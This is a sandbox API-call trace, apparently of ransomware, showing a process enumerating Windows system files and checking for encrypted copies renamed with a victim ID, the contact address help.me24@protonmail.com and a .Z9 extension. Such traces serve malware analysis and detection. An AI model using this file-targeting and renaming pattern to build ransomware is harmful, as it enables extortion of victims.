	[0189.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.575] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.575] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=17920) returned 1
	[0189.575] CloseHandle (hObject=0x358) returned 1
	[0189.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20
	[0189.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.576] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.576] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=2560) returned 1
	[0189.576] CloseHandle (hObject=0x358) returned 1
	[0189.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20
	[0189.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.577] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.577] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=1233920) returned 1
	[0189.577] CloseHandle (hObject=0x358) returned 1
	[0189.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20
	[0189.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.578] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0189.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.578] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=50688) returned 1
	[0189.578] CloseHandle (hObject=0x358) returned 1
	[0189.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20
	[0189.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.579] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0189.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.579] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=53760) returned 1
	[0189.579] CloseHandle (hObject=0x358) returned 1
	[0189.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20
	[0189.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.580] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0189.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.580] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=69632) returned 1
	[0189.580] CloseHandle (hObject=0x358) returned 1
	[0189.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20
	[0189.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.581] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0189.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.581] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=70656) returned 1
	[0189.581] CloseHandle (hObject=0x358) returned 1
	[0189.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20
	[0189.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.582] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0189.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.582] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=71168) returned 1
	[0189.582] CloseHandle (hObject=0x358) returned 1
	[0189.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20
	[0189.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.583] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0189.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.583] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=70656) returned 1
	[0189.583] CloseHandle (hObject=0x358) returned 1
	[0189.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20
	[0189.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.584] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0189.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.584] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=70656) returned 1
	[0189.584] CloseHandle (hObject=0x358) returned 1
	[0189.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20
	[0189.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.584] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.585] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=364032) returned 1
	[0189.585] CloseHandle (hObject=0x358) returned 1
	[0189.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20
	[0189.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.585] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0189.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.586] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=13824) returned 1
	[0189.586] CloseHandle (hObject=0x358) returned 1
	[0189.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20
	[0189.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.588] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.589] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=45568) returned 1
	[0189.589] CloseHandle (hObject=0x358) returned 1
	[0189.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20
	[0189.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.589] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0189.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.590] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=35840) returned 1
	[0189.590] CloseHandle (hObject=0x358) returned 1
	[0189.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb")) returned 0x20
	[0189.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.590] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.591] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=404992) returned 1
	[0189.591] CloseHandle (hObject=0x358) returned 1
	[0189.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll")) returned 0x20
	[0189.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.591] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0189.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.591] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=24576) returned 1
	[0189.592] CloseHandle (hObject=0x358) returned 1
	[0189.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20
	[0189.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.592] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.592] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=91136) returned 1
	[0189.592] CloseHandle (hObject=0x358) returned 1
	[0189.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20
	[0189.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.593] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.593] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=32768) returned 1
	[0189.593] CloseHandle (hObject=0x358) returned 1
	[0189.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20
	[0189.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\directdb.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.594] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.594] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=94208) returned 1
	[0189.595] CloseHandle (hObject=0x358) returned 1
	[0189.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20
	[0189.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.595] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.595] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10240) returned 1
	[0189.595] CloseHandle (hObject=0x358) returned 1
	[0189.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20
	[0189.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
